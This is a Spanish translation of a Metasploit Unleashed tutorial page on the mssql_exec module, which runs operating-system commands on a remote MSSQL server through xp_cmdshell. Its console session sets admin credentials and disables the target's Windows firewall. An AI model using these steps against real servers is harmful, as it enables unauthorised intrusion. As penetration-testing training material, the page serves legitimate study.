Mssql/mssql exec

De www.metasploit-es.com.ar

El modulo admin "mssql exec" toma ventaja del procedimiento de xp_cmdshell para ejecutar comandos en el sistema remoto. Si has adquirido a adivinado las credenciales admin MSSQL, este puede ser un modulo muy util.

 msf > use auxiliary/admin/mssql/mssql_exec
 msf auxiliary(mssql_exec) > show options
 Module options (auxiliary/admin/mssql/mssql_exec):
  Name      Current Setting                       Required  Description
  ----      ---------------                       --------  -----------
  CMD       cmd.exe /c echo OWNED > C:\owned.exe  no        Command to execute
  PASSWORD                                        no        The password for the specified username
  RHOST                                           yes       The target address
  RPORT     1433                                  yes       The target port
  USERNAME  sa                                    no        The username to authenticate as


Definimos nuestros valores RHOST y PASSWORD y configurados el CMD para deshabilitar el cortafuegos de Windows en el sistema remoto. Esto nos puede permitir potencialmente explotar otros servicios que se estan ejecutando en el objetivo.

 msf auxiliary(mssql_exec) > set CMD netsh firewall set opmode disable
 CMD => netsh firewall set opmode disable
 msf auxiliary(mssql_exec) > set PASSWORD password1
 PASSWORD => password1
 msf auxiliary(mssql_exec) > set RHOST 192.168.1.195
 RHOST => 192.168.1.195
 msf auxiliary(mssql_exec) > run
 [*] The server may have xp_cmdshell disabled, trying to enable it...
 [*] SQL Query: EXEC master..xp_cmdshell 'netsh firewall set opmode disable'
 output
 ------
 Ok.
 [*] Auxiliary module execution completed
 msf auxiliary(mssql_exec) >

© Offensive Security 2009

Original de www.offensive-security.com
Traducido por cbk999
Herramientas personales